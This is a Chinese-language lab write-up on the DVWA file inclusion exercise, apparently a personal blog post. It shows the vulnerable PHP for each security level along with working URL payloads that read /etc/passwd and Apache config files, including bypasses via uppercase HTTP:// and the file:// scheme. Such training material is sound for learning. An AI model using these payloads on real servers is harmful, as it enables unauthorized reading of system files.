文件包含(file Inclusion)是一種很常見的攻擊方式,主要是通過修改請求中變量從而訪問了用戶不應該訪問的文件。還可以通過這個漏洞加載不屬於本網站的文件等。下面一起來看看 DVWA 中的文件包含漏洞。
低級
原本也不知道是什么意思,然后嘗試點擊一下 File1 就顯示 File1 的內容了。而且發現 url 變成了 http://192.168.31.166:5678/vulnerabilities/fi/?page=file1.php
Hacker 就在瀏覽器中輸入了 http://192.168.31.166:5678/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
代碼如下
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
覺得主要問題還是對文件路徑沒有驗證,還能這樣玩
- 輸入 /etc/passwd 能看到服務器的用戶信息的
- url 是 http://192.168.0.110:5678/vulnerabilities/fi/?page=http://www.baidu.com 直接顯示百度主頁
中級
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
中級代碼針對上面兩種情況會有所改善,但問題依然存在 比如輸入的是http://192.168.0.110:5678/vulnerabilities/fi/?page=HTTP://www.baidu.com 比如輸入的是全路徑 http://192.168.0.110:5678/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
高級
高級代碼終於有輸入驗證了,只有文件名是有 file 開頭的文件才能打開
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// 輸入驗證
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
好像也沒什么問題了, http://192.168.0.110:5678/vulnerabilities/fi/?page=/etc/apache2/apache2.conf 之類的也打不開了。
此時 Hacker 輸入了 http://192.168.0.110:5678/vulnerabilities/fi/?page=file:///etc/apache2/apache2.conf 就完美繞過
或者輸入了 http://192.168.31.166:5678/vulnerabilities/fi/?page=file4.php,就中獎了。
DVWA上根本沒有列出此文件!這是個隱藏文件來的,這而這代碼的漏洞就是能顯示隱藏的文件!這與需求不符。
不可能
再看看不可能的代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
感覺有點滑稽。哈哈哈哈 這里的文件列表應該從讀文件或者讀數據庫的方式獲取比較好吧。這樣不夠優雅。